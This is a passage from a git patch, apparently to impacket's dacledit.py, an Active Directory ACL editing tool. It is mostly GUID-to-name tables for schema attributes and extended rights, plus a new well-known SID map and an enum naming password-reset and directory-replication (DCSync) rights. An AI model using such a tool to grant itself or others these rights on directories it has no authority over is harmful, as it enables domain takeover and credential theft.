'2a39c5b3-8960-11d1-aebc-0000f80367c1': 'Enrollment-Providers', + '1df5cf33-0fe5-499e-90e1-e94b42718a46': 'ms-DS-isGC', + '18e006b9-6445-48e3-9dcf-b5ecfbc4df8e': 'ms-WMI-intFlags1', + 'ba305f68-47e3-11d0-a1a6-00c04fd930c9': 'Print-Share-Name', + '9ee3b2e3-c7f3-45f8-8c9f-1382be4984d2': 'msSFU-30-Nis-Domain', + '19195a5f-6da0-11d0-afd3-00c04fd930c9': 'NTDS-Service', + '65650576-4699-4fc9-8d18-26e0cd0137a6': 'ms-DS-Token-Group-Names', + 'd213decc-d81a-4384-aac2-dcfcfd631cf8': 'Entry-TTL', + 'a8e8aa23-3e67-4af1-9d7a-2f1a1d633ac9': 'ms-DS-isRODC', + '075a42c9-c55a-45b1-ac93-eb086b31f610': 'ms-WMI-intFlags2', + 'ba305f6c-47e3-11d0-a1a6-00c04fd930c9': 'Print-Spooling', + '93095ed3-6f30-4bdd-b734-65d569f5f7c9': 'msSFU-30-Domains', + 'fa06d1f4-7922-4aad-b79c-b2201f54417c': 'ms-DS-Token-Group-Names-Global-And-Universal', + '9a7ad947-ca53-11d1-bbd0-0080c76670c0': 'Extended-Attribute-Info', + '8ab15858-683e-466d-877f-d640e1f9a611': 'ms-DS-Last-Known-RDN', + 'f29fa736-de09-4be4-b23a-e734c124bacc': 'ms-WMI-intFlags3', + 'ba305f73-47e3-11d0-a1a6-00c04fd930c9': 'Print-Stapling-Supported', + '084a944b-e150-4bfe-9345-40e1aedaebba': 'msSFU-30-Yp-Servers', + 'bf967a84-0de6-11d0-a285-00aa003049e2': 'Class-Store', + '19195a5d-6da0-11d0-afd3-00c04fd930c9': 'NTDS-Site-Settings', + '523fc6c8-9af4-4a02-9cd7-3dea129eeb27': 'ms-DS-Token-Group-Names-No-GC-Acceptable', + 'bf967966-0de6-11d0-a285-00aa003049e2': 'Extended-Chars-Allowed', + 'c523e9c0-33b5-4ac8-8923-b57b927f42f6': 'ms-DS-KeyVersionNumber', + 'bd74a7ac-c493-4c9c-bdfa-5c7b119ca6b2': 'ms-WMI-intFlags4', + '281416c9-1968-11d0-a28f-00aa003049e2': 'Print-Start-Time', + '04ee6aa6-f83b-469a-bf5a-3c00d3634669': 'msSFU-30-Max-Gid-Number', + '9a7ad948-ca53-11d1-bbd0-0080c76670c0': 'Extended-Class-Info', + 'ad7940f8-e43a-4a42-83bc-d688e59ea605': 'ms-DS-Logon-Time-Sync-Interval', + 'fb920c2c-f294-4426-8ac1-d24b42aa2bce': 'ms-WMI-intMax', + 'ba305f6b-47e3-11d0-a1a6-00c04fd930c9': 'Print-Status', + 'ec998437-d944-4a28-8500-217588adfc75': 'msSFU-30-Max-Uid-Number', + 'bf967a85-0de6-11d0-a285-00aa003049e2': 'Com-Connection-Point', + '2a132586-9373-11d1-aebc-0000f80367c1': 'NTFRS-Member', + 'bf967ab0-0de6-11d0-a285-00aa003049e2': 'Security-Principal', + 'bf967972-0de6-11d0-a285-00aa003049e2': 'Extension-Name', + '60234769-4819-4615-a1b2-49d2f119acb5': 'ms-DS-Mastered-By', + '68c2e3ba-9837-4c70-98e0-f0c33695d023': 'ms-WMI-intMin', + '244b296e-5abd-11d0-afd2-00c04fd930c9': 'Printer-Name', + '585c9d5e-f599-4f07-9cf9-4373af4b89d3': 'msSFU-30-NSMAP-Field-Position', + '7ece040f-9327-4cdc-aad3-037adfe62639': 'ms-DS-User-Allowed-NTLM-Network-Authentication', + 'd24e2846-1dd9-4bcf-99d7-a6227cc86da7': 'Extra-Columns', + 'fdd337f5-4999-4fce-b252-8ff9c9b43875': 'ms-DS-Maximum-Password-Age', + '6af565f6-a749-4b72-9634-3c5d47e6b4e0': 'ms-WMI-intValidValues', + 'bf967a01-0de6-11d0-a285-00aa003049e2': 'Prior-Set-Time', + 'c875d82d-2848-4cec-bb50-3c5486d09d57': 'msSFU-30-Posix-Member', + 'bf967a86-0de6-11d0-a285-00aa003049e2': 'Computer', + '5245803a-ca6a-11d0-afff-0000f80367c1': 'NTFRS-Replica-Set', + '278947b9-5222-435e-96b7-1503858c2b48': 'ms-DS-Service-Allowed-NTLM-Network-Authentication', + 'bf967974-0de6-11d0-a285-00aa003049e2': 'Facsimile-Telephone-Number', + '2a74f878-4d9c-49f9-97b3-6767d1cbd9a3': 'ms-DS-Minimum-Password-Age', + 'f4d8085a-8c5b-4785-959b-dc585566e445': 'ms-WMI-int8Default', + 'bf967a02-0de6-11d0-a285-00aa003049e2': 'Prior-Value', + '7bd76b92-3244-438a-ada6-24f5ea34381e': 'msSFU-30-Posix-Member-Of', + 'aacd2170-482a-44c6-b66e-42c2f66a285c': 'ms-DS-Strong-NTLM-Policy', + 'd9e18315-8939-11d1-aebc-0000f80367c1': 'File-Ext-Priority', + 'b21b3439-4c3a-441c-bb5f-08f20e9b315e': 'ms-DS-Minimum-Password-Length', + 'e3d8b547-003d-4946-a32b-dc7cedc96b74': 'ms-WMI-int8Max', + '281416c7-1968-11d0-a28f-00aa003049e2': 'Priority', + '97d2bf65-0466-4852-a25a-ec20f57ee36c': 'msSFU-30-Netgroup-Host-At-Domain', + 'bf967a87-0de6-11d0-a285-00aa003049e2': 'Configuration', + 'f780acc2-56f0-11d1-a9c6-0000f80367c1': 'NTFRS-Settings', + 'bf967976-0de6-11d0-a285-00aa003049e2': 'Flags', + 'f9c9a57c-3941-438d-bebf-0edaf2aca187': 'ms-DS-OIDToGroup-Link', + 'ed1489d1-54cc-4066-b368-a00daa2664f1': 'ms-WMI-int8Min', + 'bf967a03-0de6-11d0-a285-00aa003049e2': 'Private-Key', + 'a9e84eed-e630-4b67-b4b3-cad2a82d345e': 'msSFU-30-Netgroup-User-At-Domain', + 'ab6a1156-4dc7-40f5-9180-8e4ce42fe5cd': 'ms-DS-AuthN-Policy', + 'b7b13117-b82e-11d0-afee-0000f80367c1': 'Flat-Name', + '1a3d0d20-5844-4199-ad25-0f5039a76ada': 'ms-DS-OIDToGroup-Link-BL', + '103519a9-c002-441b-981a-b0b3e012c803': 'ms-WMI-int8ValidValues', + '19405b9a-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Attributes', + '0dea42f5-278d-4157-b4a7-49b59664915b': 'msSFU-30-Is-Valid-Container', + '5cb41ecf-0e4c-11d0-a286-00aa003049e2': 'Connection-Point', + '2a132588-9373-11d1-aebc-0000f80367c1': 'NTFRS-Subscriber', + 'b002f407-1340-41eb-bca0-bd7d938e25a9': 'ms-DS-Source-Anchor', + 'bf967977-0de6-11d0-a285-00aa003049e2': 'Force-Logoff', + 'fed81bb7-768c-4c2f-9641-2245de34794d': 'ms-DS-Password-History-Length', + '6736809f-2064-443e-a145-81262b1f1366': 'ms-WMI-Mof', + '19405b98-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Display-Name', + '4503d2a3-3d70-41b8-b077-dff123c15865': 'msSFU-30-Crypt-Method', + '5cb41ed0-0e4c-11d0-a286-00aa003049e2': 'Contact', + '34f6bdf5-2e79-4c3b-8e14-3d93b75aab89': 'ms-DS-Object-SOA', + '3e97891e-8c01-11d0-afda-00c04fd930c9': 'Foreign-Identifier', + 'db68054b-c9c3-4bf0-b15b-0fb52552a610': 'ms-DS-Password-Complexity-Enabled', + 'c6c8ace5-7e81-42af-ad72-77412c5941c4': 'ms-WMI-Name', + '19405b9b-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Holder', + 'e65c30db-316c-4060-a3a0-387b083f09cd': 'ms-TS-Profile-Path', + 'bf967aa7-0de6-11d0-a285-00aa003049e2': 'Person', + '2a132587-9373-11d1-aebc-0000f80367c1': 'NTFRS-Subscriptions', + '7bfdcb88-4807-11d1-a9c3-0000f80367c1': 'Friendly-Names', + '75ccdd8f-af6c-4487-bb4b-69e4d38a959c': 'ms-DS-Password-Reversible-Encryption-Enabled', + 'eaba628f-eb8e-4fe9-83fc-693be695559b': 'ms-WMI-NormalizedClass', + '19405b99-3cfa-11d1-a9c0-0000f80367c1': 'Privilege-Value', + '5d3510f0-c4e7-4122-b91f-a20add90e246': 'ms-TS-Home-Directory', + 'bf967ab7-0de6-11d0-a285-00aa003049e2': 'Top', + '9a7ad949-ca53-11d1-bbd0-0080c76670c0': 'From-Entry', + '94f2800c-531f-4aeb-975d-48ac39fd8ca4': 'ms-DS-Local-Effective-Deletion-Time', + '27e81485-b1b0-4a8b-bedd-ce19a837e26e': 'ms-WMI-Parm1', + 'd9e18317-8939-11d1-aebc-0000f80367c1': 'Product-Code', + '5f0a24d9-dffa-4cd9-acbf-a0680c03731e': 'ms-TS-Home-Drive', + 'bf967a8b-0de6-11d0-a285-00aa003049e2': 'Container', + 'bf967aa3-0de6-11d0-a285-00aa003049e2': 'Organization', + 'bf967979-0de6-11d0-a285-00aa003049e2': 'From-Server', + '4ad6016b-b0d2-4c9b-93b6-5964b17b968c': 'ms-DS-Local-Effective-Recycle-Time', + '0003508e-9c42-4a76-a8f4-38bf64bab0de': 'ms-WMI-Parm2', + 'bf967a05-0de6-11d0-a285-00aa003049e2': 'Profile-Path', + '3a0cd464-bc54-40e7-93ae-a646a6ecc4b4': 'ms-TS-Allow-Logon', + 'bf967aa4-0de6-11d0-a285-00aa003049e2': 'Organizational-Person', + 'bf967a90-0de6-11d0-a285-00aa003049e2': 'Sam-Domain', + '2a132578-9373-11d1-aebc-0000f80367c1': 'Frs-Computer-Reference', + 'b05bda89-76af-468a-b892-1be55558ecc8': 'ms-DS-Lockout-Observation-Window', + '45958fb6-52bd-48ce-9f9f-c2712d9f2bfc': 'ms-WMI-Parm3', + 'e1aea402-cd5b-11d0-afff-0000f80367c1': 'Proxied-Object-Name', + '15177226-8642-468b-8c48-03ddfd004982': 'ms-TS-Remote-Control', + '8297931e-86d3-11d0-afda-00c04fd930c9': 'Control-Access-Right', + '2a132579-9373-11d1-aebc-0000f80367c1': 'Frs-Computer-Reference-BL', + '421f889a-472e-4fe4-8eb9-e1d0bc6071b2': 'ms-DS-Lockout-Duration', + '3800d5a3-f1ce-4b82-a59a-1528ea795f59': 'ms-WMI-Parm4', + 'bf967a06-0de6-11d0-a285-00aa003049e2': 'Proxy-Addresses', + '326f7089-53d8-4784-b814-46d8535110d2': 'ms-TS-Max-Disconnection-Time', + 'a8df74bf-c5ea-11d1-bbcb-0080c76670c0': 'Organizational-Role', + '2a13257a-9373-11d1-aebc-0000f80367c1': 'FRS-Control-Data-Creation', + 'b8c8c35e-4a19-4a95-99d0-69fe4446286f': 'ms-DS-Lockout-Threshold', + 'ab920883-e7f8-4d72-b4a0-c0449897509d': 'ms-WMI-PropertyName', + '5fd424d6-1262-11d0-a060-00aa006c33ed': 'Proxy-Generation-Enabled', + '1d960ee2-6464-4e95-a781-e3b5cd5f9588': 'ms-TS-Max-Connection-Time', + 'bf967a8c-0de6-11d0-a285-00aa003049e2': 'Country', + '2a13257b-9373-11d1-aebc-0000f80367c1': 'FRS-Control-Inbound-Backlog', + '64c80f48-cdd2-4881-a86d-4e97b6f561fc': 'ms-DS-PSO-Applies-To', + '65fff93e-35e3-45a3-85ae-876c6718297f': 'ms-WMI-Query', + 'bf967a07-0de6-11d0-a285-00aa003049e2': 'Proxy-Lifetime', + 'ff739e9c-6bb7-460e-b221-e250f3de0f95': 'ms-TS-Max-Idle-Time', + 'bf967aa5-0de6-11d0-a285-00aa003049e2': 'Organizational-Unit', + '2a13257c-9373-11d1-aebc-0000f80367c1': 'FRS-Control-Outbound-Backlog', + '5e6cf031-bda8-43c8-aca4-8fee4127005b': 'ms-DS-PSO-Applied', + '7d3cfa98-c17b-4254-8bd7-4de9b932a345': 'ms-WMI-QueryLanguage', + '80a67e28-9f22-11d0-afdd-00c04fd930c9': 'Public-Key-Policy', + '366ed7ca-3e18-4c7f-abae-351a01e4b4f7': 'ms-TS-Reconnection-Action', + '167758ca-47f3-11d1-a9c3-0000f80367c1': 'CRL-Distribution-Point', + '1be8f171-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Directory-Filter', + 'eadd3dfe-ae0e-4cc2-b9b9-5fe5b6ed2dd2': 'ms-DS-Required-Domain-Behavior-Version', + '87b78d51-405f-4b7f-80ed-2bd28786f48d': 'ms-WMI-ScopeGuid', + 'b4b54e50-943a-11d1-aebd-0000f80367c1': 'Purported-Search', + '1cf41bba-5604-463e-94d6-1a1287b72ca3': 'ms-TS-Broken-Connection-Action', + 'bf967aa6-0de6-11d0-a285-00aa003049e2': 'Package-Registration', + '1be8f177-a9ff-11d0-afe2-00c04fd930c9': 'FRS-DS-Poll', + '4beca2e8-a653-41b2-8fee-721575474bec': 'ms-DS-Required-Forest-Behavior-Version', + '34f7ed6c-615d-418d-aa00-549a7d7be03e': 'ms-WMI-SourceOrganization', + 'bf967a09-0de6-11d0-a285-00aa003049e2': 'Pwd-History-Length', + '23572aaf-29dd-44ea-b0fa-7e8438b9a4a3': 'ms-TS-Connect-Client-Drives', + 'bf967a8d-0de6-11d0-a285-00aa003049e2': 'Cross-Ref', + '52458020-ca6a-11d0-afff-0000f80367c1': 'FRS-Extensions', + 'b77ea093-88d0-4780-9a98-911f8e8b1dca': 'ms-DS-Resultant-PSO', + '152e42b6-37c5-4f55-ab48-1606384a9aea': 'ms-WMI-stringDefault', + 'bf967a0a-0de6-11d0-a285-00aa003049e2': 'Pwd-Last-Set', + '8ce6a937-871b-4c92-b285-d99d4036681c': 'ms-TS-Connect-Printer-Drives', + '1be8f178-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Fault-Condition', + '456374ac-1f0a-4617-93cf-bc55a7c9d341': 'ms-DS-Password-Settings-Precedence', + '37609d31-a2bf-4b58-8f53-2b64e57a076d': 'ms-WMI-stringValidValues', + 'bf967a0b-0de6-11d0-a285-00aa003049e2': 'Pwd-Properties', + 'c0ffe2bd-cacf-4dc7-88d5-61e9e95766f6': 'ms-TS-Default-To-Main-Printer', + 'ef9e60e0-56f7-11d1-a9c6-0000f80367c1': 'Cross-Ref-Container', + 'b7b13122-b82e-11d0-afee-0000f80367c1': 'Physical-Location', + '1be8f170-a9ff-11d0-afe2-00c04fd930c9': 'FRS-File-Filter', + 'd1e169a4-ebe9-49bf-8fcb-8aef3874592d': 'ms-DS-Max-Values', + '95b6d8d6-c9e8-4661-a2bc-6a5cabc04c62': 'ms-WMI-TargetClass', + '80a67e4e-9f22-11d0-afdd-00c04fd930c9': 'Quality-Of-Service', + 'a744f666-3d3c-4cc8-834b-9d4f6f687b8b': 'ms-TS-Work-Directory', + '2a13257d-9373-11d1-aebc-0000f80367c1': 'FRS-Flags', + 'cbf7e6cd-85a4-4314-8939-8bfe80597835': 'ms-DS-Members-For-Az-Role', + '1c4ab61f-3420-44e5-849d-8b5dbf60feb7': 'ms-WMI-TargetNameSpace', + 'cbf70a26-7e78-11d2-9921-0000f87a57d4': 'Query-Filter', + '9201ac6f-1d69-4dfb-802e-d95510109599': 'ms-TS-Initial-Program', + 'bf967a8e-0de6-11d0-a285-00aa003049e2': 'Device', + 'e5209ca2-3bba-11d2-90cc-00c04fd91ab1': 'PKI-Certificate-Template', + '5245801e-ca6a-11d0-afff-0000f80367c1': 'FRS-Level-Limit', + 'ececcd20-a7e0-4688-9ccf-02ece5e287f5': 'ms-DS-Members-For-Az-Role-BL', + 'c44f67a5-7de5-4a1f-92d9-662b57364b77': 'ms-WMI-TargetObject', + 'e1aea404-cd5b-11d0-afff-0000f80367c1': 'Query-Policy-BL', + '40e1c407-4344-40f3-ab43-3625a34a63a2': 'ms-TS-Endpoint-Data', + '2a13257e-9373-11d1-aebc-0000f80367c1': 'FRS-Member-Reference', + '5a2eacd7-cc2b-48cf-9d9a-b6f1a0024de9': 'ms-DS-NC-Type', + '5006a79a-6bfe-4561-9f52-13cf4dd3e560': 'ms-WMI-TargetPath', + 'e1aea403-cd5b-11d0-afff-0000f80367c1': 'Query-Policy-Object', + '377ade80-e2d8-46c5-9bcd-6d9dec93b35e': 'ms-TS-Endpoint-Type', + '8447f9f2-1027-11d0-a05f-00aa006c33ed': 'Dfs-Configuration', + 'ee4aa692-3bba-11d2-90cc-00c04fd91ab1': 'PKI-Enrollment-Service', + '2a13257f-9373-11d1-aebc-0000f80367c1': 'FRS-Member-Reference-BL', + 'cafcb1de-f23c-46b5-adf7-1e64957bd5db': 'ms-DS-Non-Members', + 'ca2a281e-262b-4ff7-b419-bc123352a4e9': 'ms-WMI-TargetType', + '7bfdcb86-4807-11d1-a9c3-0000f80367c1': 'QueryPoint', + '3c08b569-801f-4158-b17b-e363d6ae696a': 'ms-TS-Endpoint-Plugin', +} + + +EXTENDED_RIGHTS = { + 'ab721a52-1e2f-11d0-9819-00aa0040529b': 'Domain-Administer-Server', + 'ab721a53-1e2f-11d0-9819-00aa0040529b': 'User-Change-Password', + '00299570-246d-11d0-a768-00aa006e0529': 'User-Force-Change-Password', + 'ab721a55-1e2f-11d0-9819-00aa0040529b': 'Send-To', + 'c7407360-20bf-11d0-a768-00aa006e0529': 'Domain-Password', + '59ba2f42-79a2-11d0-9020-00c04fc2d3cf': 'General-Information', + '4c164200-20c0-11d0-a768-00aa006e0529': 'User-Account-Restrictions', + '5f202010-79a5-11d0-9020-00c04fc2d4cf': 'User-Logon', + 'bc0ac240-79a9-11d0-9020-00c04fc2d4cf': 'Membership', + 'a1990816-4298-11d1-ade2-00c04fd8d5cd': 'Open-Address-Book', + 'e45795b2-9455-11d1-aebd-0000f80367c1': 'Email-Information', + 'e45795b3-9455-11d1-aebd-0000f80367c1': 'Web-Information', + '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Get-Changes', + '1131f6ab-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Synchronize', + '1131f6ac-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Manage-Topology', + 'e12b56b6-0a95-11d1-adbb-00c04fd8d5cd': 'Change-Schema-Master', + 'd58d5f36-0a98-11d1-adbb-00c04fd8d5cd': 'Change-Rid-Master', + 'fec364e0-0a98-11d1-adbb-00c04fd8d5cd': 'Do-Garbage-Collection', + '0bc1554e-0a99-11d1-adbb-00c04fd8d5cd': 'Recalculate-Hierarchy', + '1abd7cf8-0a99-11d1-adbb-00c04fd8d5cd': 'Allocate-Rids', + 'bae50096-4752-11d1-9052-00c04fc2d4cf': 'Change-PDC', + '440820ad-65b4-11d1-a3da-0000f875ae0d': 'Add-GUID', + '014bf69c-7b3b-11d1-85f6-08002be74fab': 'Change-Domain-Master', + '4b6e08c0-df3c-11d1-9c86-006008764d0e': 'msmq-Receive-Dead-Letter', + '4b6e08c1-df3c-11d1-9c86-006008764d0e': 'msmq-Peek-Dead-Letter', + '4b6e08c2-df3c-11d1-9c86-006008764d0e': 'msmq-Receive-computer-Journal', + '4b6e08c3-df3c-11d1-9c86-006008764d0e': 'msmq-Peek-computer-Journal', + '06bd3200-df3e-11d1-9c86-006008764d0e': 'msmq-Receive', + '06bd3201-df3e-11d1-9c86-006008764d0e': 'msmq-Peek', + '06bd3202-df3e-11d1-9c86-006008764d0e': 'msmq-Send', + '06bd3203-df3e-11d1-9c86-006008764d0e': 'msmq-Receive-journal', + 'b4e60130-df3f-11d1-9c86-006008764d0e': 'msmq-Open-Connector', + 'edacfd8f-ffb3-11d1-b41d-00a0c968f939': 'Apply-Group-Policy', + '037088f8-0ae1-11d2-b422-00a0c968f939': 'RAS-Information', + '9923a32a-3607-11d2-b9be-0000f87a36b2': 'DS-Install-Replica', + 'cc17b1fb-33d9-11d2-97d4-00c04fd8d5cd': 'Change-Infrastructure-Master', + 'be2bb760-7f46-11d2-b9ad-00c04f79f805': 'Update-Schema-Cache', + '62dd28a8-7f46-11d2-b9ad-00c04f79f805': 'Recalculate-Security-Inheritance', + '69ae6200-7f46-11d2-b9ad-00c04f79f805': 'DS-Check-Stale-Phantoms', + '0e10c968-78fb-11d2-90d4-00c04f79dc55': 'Certificate-Enrollment', + 'bf9679c0-0de6-11d0-a285-00aa003049e2': 'Self-Membership', + '72e39547-7b18-11d1-adef-00c04fd8d5cd': 'Validated-DNS-Host-Name', + 'b7b1b3dd-ab09-4242-9e30-9980e5d322f7': 'Generate-RSoP-Planning', + '9432c620-033c-4db7-8b58-14ef6d0bf477': 'Refresh-Group-Cache', + '91d67418-0135-4acc-8d79-c08e857cfbec': 'SAM-Enumerate-Entire-Domain', + 'b7b1b3de-ab09-4242-9e30-9980e5d322f7': 'Generate-RSoP-Logging', + 'b8119fd0-04f6-4762-ab7a-4986c76b3f9a': 'Domain-Other-Parameters', + 'e2a36dc9-ae17-47c3-b58b-be34c55ba633': 'Create-Inbound-Forest-Trust', + '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2': 'DS-Replication-Get-Changes-All', + 'ba33815a-4f93-4c76-87f3-57574bff8109': 'Migrate-SID-History', + '45ec5156-db7e-47bb-b53f-dbeb2d03c40f': 'Reanimate-Tombstones', + '2f16c4a5-b98e-432c-952a-cb388ba33f2e': 'DS-Execute-Intentions-Script', + 'f98340fb-7c5b-4cdb-a00b-2ebdfa115a96': 'DS-Replication-Monitor-Topology', + '280f369c-67c7-438e-ae98-1d46f3c6f541': 'Update-Password-Not-Required-Bit', + 'ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501': 'Unexpire-Password', + '05c74c5e-4deb-43b4-bd9f-86664c2a7fd5': 'Enable-Per-User-Reversibly-Encrypted-Password', + '4ecc03fe-ffc0-4947-b630-eb672a8a9dbc': 'DS-Query-Self-Quota', + '91e647de-d96f-4b70-9557-d63ff4f3ccd8': 'Private-Information', + '1131f6ae-9c07-11d1-f79f-00c04fc2dcd2': 'Read-Only-Replication-Secret-Synchronization', + '5805bc62-bdc9-4428-a5e2-856a0f4c185e': 'Terminal-Server-License-Server', + '1a60ea8d-58a6-4b20-bcdc-fb71eb8a9ff8': 'Reload-SSL-Certificate', + '89e95b76-444d-4c62-991a-0facbeda640c': 'DS-Replication-Get-Changes-In-Filtered-Set', + '7726b9d5-a4b4-4288-a6b2-dce952e80a7f': 'Run-Protect-Admin-Groups-Task', + '7c0e2a7c-a419-48e4-a995-10180aad54dd': 'Manage-Optional-Features', + '3e0f7e18-2c7a-4c10-ba82-4d926db99a3e': 'DS-Clone-Domain-Controller', + 'd31a8757-2447-4545-8081-3bb610cacbf2': 'Validated-MS-DS-Behavior-Version', + '80863791-dbe9-4eb8-837e-7f0ab55d9ac7': 'Validated-MS-DS-Additional-DNS-Host-Name', + 'a05b8cc2-17bc-4802-a710-e7c15ab866a2': 'Certificate-AutoEnrollment', + '4125c71f-7fac-4ff0-bcb7-f09a41325286': 'DS-Set-Owner', + '88a9933e-e5c8-4f2a-9dd7-2527416b8092': 'DS-Bypass-Quota', + '084c93a2-620d-4879-a836-f0ae47de0e89': 'DS-Read-Partition-Secrets', + '94825a8d-b171-4116-8146-1e34d8f54401': 'DS-Write-Partition-Secrets', + '9b026da6-0d3c-465c-8bee-5199d7165cba': 'DS-Validated-Write-Computer', + 'ab721a54-1e2f-11d0-9819-00aa0040529b': 'Send-As', + 'ab721a56-1e2f-11d0-9819-00aa0040529b': 'Receive-As', + '77b5b886-944a-11d1-aebd-0000f80367c1': 'Personal-Information', + 'e48d0154-bcf8-11d1-8702-00c04fb96050': 'Public-Information', + 'f3a64788-5306-11d1-a9c5-0000f80367c1': 'Validated-SPN', + '68b1d179-0d15-4d4f-ab71-46152e79a7bc': 'Allowed-To-Authenticate', + 'ffa6f046-ca4b-4feb-b40d-04dfee722543': 'MS-TS-GatewayAccess', +} From 5a086e0e838af90669d0611f4ed3388be999e000 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Fri, 1 Apr 2022 16:42:36 +0200 Subject: [PATCH 102/152] Refactored some bits, read/write/remove fully functional --- examples/dacledit.py | 539 +++++++++++++++++++++++++------------------ 1 file changed, 314 insertions(+), 225 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index 7dbf855319..ff5d4cc79d 100644 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -41,11 +41,90 @@ OBJECT_TYPES_GUID.update(SCHEMA_OBJECTS) OBJECT_TYPES_GUID.update(EXTENDED_RIGHTS) +WELL_KNOWN_SIDS = { + 'S-1-0': 'Null Authority', + 'S-1-0-0': 'Nobody', + 'S-1-1': 'World Authority', + 'S-1-1-0': 'Everyone', + 'S-1-2': 'Local Authority', + 'S-1-2-0': 'Local', + 'S-1-2-1': 'Console Logon', + 'S-1-3': 'Creator Authority', + 'S-1-3-0': 'Creator Owner', + 'S-1-3-1': 'Creator Group', + 'S-1-3-2': 'Creator Owner Server', + 'S-1-3-3': 'Creator Group Server', + 'S-1-3-4': 'Owner Rights', + 'S-1-5-80-0': 'All Services', + 'S-1-4': 'Non-unique Authority', + 'S-1-5': 'NT Authority', + 'S-1-5-1': 'Dialup', + 'S-1-5-2': 'Network', + 'S-1-5-3': 'Batch', + 'S-1-5-4': 'Interactive', + 'S-1-5-6': 'Service', + 'S-1-5-7': 'Anonymous', + 'S-1-5-8': 'Proxy', + 'S-1-5-9': 'Enterprise Domain Controllers', + 'S-1-5-10': 'Principal Self', + 'S-1-5-11': 'Authenticated Users', + 'S-1-5-12': 'Restricted Code', + 'S-1-5-13': 'Terminal Server Users', + 'S-1-5-14': 'Remote Interactive Logon', + 'S-1-5-15': 'This Organization', + 'S-1-5-17': 'This Organization', + 'S-1-5-18': 'Local System', + 'S-1-5-19': 'NT Authority', + 'S-1-5-20': 'NT Authority', + 'S-1-5-32-544': 'Administrators', + 'S-1-5-32-545': 'Users', + 'S-1-5-32-546': 'Guests', + 'S-1-5-32-547': 'Power Users', + 'S-1-5-32-548': 'Account Operators', + 'S-1-5-32-549': 'Server Operators', + 'S-1-5-32-550': 'Print Operators', + 'S-1-5-32-551': 'Backup Operators', + 'S-1-5-32-552': 'Replicators', + 'S-1-5-64-10': 'NTLM Authentication', + 'S-1-5-64-14': 'SChannel Authentication', + 'S-1-5-64-21': 'Digest Authority', + 'S-1-5-80': 'NT Service', + 'S-1-5-83-0': 'NT VIRTUAL MACHINE\Virtual Machines', + 'S-1-16-0': 'Untrusted Mandatory Level', + 'S-1-16-4096': 'Low Mandatory Level', + 'S-1-16-8192': 'Medium Mandatory Level', + 'S-1-16-8448': 'Medium Plus Mandatory Level', + 'S-1-16-12288': 'High Mandatory Level', + 'S-1-16-16384': 'System Mandatory Level', + 'S-1-16-20480': 'Protected Process Mandatory Level', + 'S-1-16-28672': 'Secure Process Mandatory Level', + 'S-1-5-32-554': 'BUILTIN\Pre-Windows 2000 Compatible Access', + 'S-1-5-32-555': 'BUILTIN\Remote Desktop Users', + 'S-1-5-32-557': 'BUILTIN\Incoming Forest Trust Builders', + 'S-1-5-32-556': 'BUILTIN\\Network Configuration Operators', + 'S-1-5-32-558': 'BUILTIN\Performance Monitor Users', + 'S-1-5-32-559': 'BUILTIN\Performance Log Users', + 'S-1-5-32-560': 'BUILTIN\Windows Authorization Access Group', + 'S-1-5-32-561': 'BUILTIN\Terminal Server License Servers', + 'S-1-5-32-562': 'BUILTIN\Distributed COM Users', + 'S-1-5-32-569': 'BUILTIN\Cryptographic Operators', + 'S-1-5-32-573': 'BUILTIN\Event Log Readers', + 'S-1-5-32-574': 'BUILTIN\Certificate Service DCOM Access', + 'S-1-5-32-575': 'BUILTIN\RDS Remote Access Servers', + 'S-1-5-32-576': 'BUILTIN\RDS Endpoint Servers', + 'S-1-5-32-577': 'BUILTIN\RDS Management Servers', + 'S-1-5-32-578': 'BUILTIN\Hyper-V Administrators', + 'S-1-5-32-579': 'BUILTIN\Access Control Assistance Operators', + 'S-1-5-32-580': 'BUILTIN\Remote Management Users', +} + + class RIGHTS_GUID(Enum): - WRITE_MEMBERS = "bf9679c0-0de6-11d0-a285-00aa003049e2" - RESET_PASSWORD = "00299570-246d-11d0-a768-00aa006e0529" - DS_REPLICATION_GET_CHANGES = "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" - DS_REPLICATION_GET_CHANGES_ALL = "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" + WriteMembers = "bf9679c0-0de6-11d0-a285-00aa003049e2" + ResetPassword = "00299570-246d-11d0-a768-00aa006e0529" + DS_Replication_Get_Changes = "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" + DS_Replication_Get_Changes_All = "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" + class ACE_FLAGS(Enum): CONTAINER_INHERIT_ACE = ldaptypes.ACE.CONTAINER_INHERIT_ACE @@ -56,60 +135,49 @@ class ACE_FLAGS(Enum): OBJECT_INHERIT_ACE = ldaptypes.ACE.OBJECT_INHERIT_ACE SUCCESSFUL_ACCESS_ACE_FLAG = ldaptypes.ACE.SUCCESSFUL_ACCESS_ACE_FLAG + class ALLOWED_OBJECT_ACE_FLAGS(Enum): ACE_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT ACE_INHERITED_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT -class ALLOWED_ACE_MASK_FLAGS(Enum): - GENERIC_READ = ldaptypes.ACCESS_MASK.GENERIC_READ - GENERIC_WRITE = ldaptypes.ACCESS_MASK.GENERIC_WRITE - GENERIC_EXECUTE = ldaptypes.ACCESS_MASK.GENERIC_EXECUTE - GENERIC_ALL = ldaptypes.ACCESS_MASK.GENERIC_ALL - MAXIMUM_ALLOWED = ldaptypes.ACCESS_MASK.MAXIMUM_ALLOWED - ACCESS_SYSTEM_SECURITY = ldaptypes.ACCESS_MASK.ACCESS_SYSTEM_SECURITY - SYNCHRONIZE = 